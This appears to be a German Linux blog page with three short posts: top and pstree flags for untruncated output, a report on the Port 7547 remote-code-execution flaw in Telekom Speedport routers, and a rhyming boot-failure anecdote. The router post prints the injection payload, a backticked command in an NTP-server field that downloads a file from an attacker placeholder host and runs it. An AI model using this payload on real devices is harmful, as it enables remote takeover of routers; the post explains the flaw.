Wie man top und pstree dazu bringt, lange Zeilen auszugeben

Wer schonmal ein Script geschrieben hat und die Ausgaben einiger Befehle in ein Logfile umgeleitet hat, der kennt das Problem: es werden je nach OS-Einstellungen Spalten abgeschnitten.

In Top sieht das dann so aus:

top - 10:14:45 up 29 min,  1 user,  load average: 0,33, 0,27, 0,25
Tasks: 275 total,   1 running, 274 sleeping,   0 stopped,   0 zombie
%Cpu(s):  3,4 us,  0,8 sy,  0,0 ni, 95,3 id,  0,2 wa,  0,1 hi,  0,1 si,  0,0 st
KiB Mem :  8070108 total,  3490724 free,  2117316 used,  2462068 buff/cache
KiB Swap:  7998316 total,  7998316 free,        0 used.  5548784 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 3093 Schelm    20   0 1781624 630728 127256 S  31,2  7,8   4:34.94 /usr/lib64+
 3995 Schelm    20   0  157976   4252   3628 R  12,5  0,1   0:00.02 top -c -b +
 2718 Schelm    20   0  602980 169084  73132 S   6,2  2,1   0:45.25 skype
 3433 Schelm    20   0  733632  37944  27296 S   6,2  0,5   0:03.28 /usr/libex+

Für TOP und PSTREE gibt es aber eine jeweils einfache Lösung:

top -b -c -n 1 -w 240

Damit gibt man im Batchmode (-b) wieviele Spalten man sehen will ( -w ), in unserem Fall 240. pstree hat zwar keine Spaltenangabe, aber man kann das Abbrechen abschalten (-l):

pstree –lup

Damit wir möglichst lange Zeilen bekommen, ist hier noch -u für Usernamen und -p für ProcessIds mit angegeben.

Speedportrouter der DTAG von Sicherheitsloch betroffen

Jetzt ist es endlich final, die DSL-Speedportrouter der Deutschen Telekom haben ein Sicherheitsloch auf Port 7547 :

https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

und ein echt dreckiges dazu, weil die Kisten a) auf jeden Zugriff reagieren und b) eine Remote-Execution möglich ist. Der Hack funktioniert so:

<NewNTPServer1>
`cd /tmp;wget http://angreiferszum nachladen von code/1>;chmod 777 1;./1`
</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>

Natürlich gehört zu dem Request noch mehr, aber das sind die Grundlagen und aus dem Kontext kann man ersehen, daß hier einfach ein parameter aus dem Web genommen wird und an die Bash weitergereicht wird ohne den Inhalt auf Konsistenz zu prüfen. Ein einfacher Test, ob da ein Domainname/IP drinsteht, hätte das bundesweite Chaos vom Wochenende verhindert.

Die DSL-Router wurden Ihnen „proudly presented by Zyxel“ !!! Amis 😉

 

Der erste Advents Nicht-Boot

Wenn Ihr Rechner beim Booten laufend nach dem Festplattenentschlüsselungspasswort fragt, aber das Kryptolaufwerk einfach nicht starten will, könnte es sein, daß es das tatsächlich schlicht nicht kann, weil es nicht da ist.

Was zunächst wie eine Sträter Geschichte, so gegen Mittag, kurz vorm Frühstück, anfängt, löste sich zum Glück schnell wieder auf. Hier eine Kurzzusammenfassung:

Wenn das Stromkabel nicht in der Platte steckt,
der Rechner beim Booten schlicht verreckt,
und kommt der wackre Linuxmann,
blitzesschnelle an die Hardware ran,
im Handumdrehen ist dann geschehen,
die Platte scheint doch noch zugehen.

EIne frohe und fehlerfreie Adventszeit.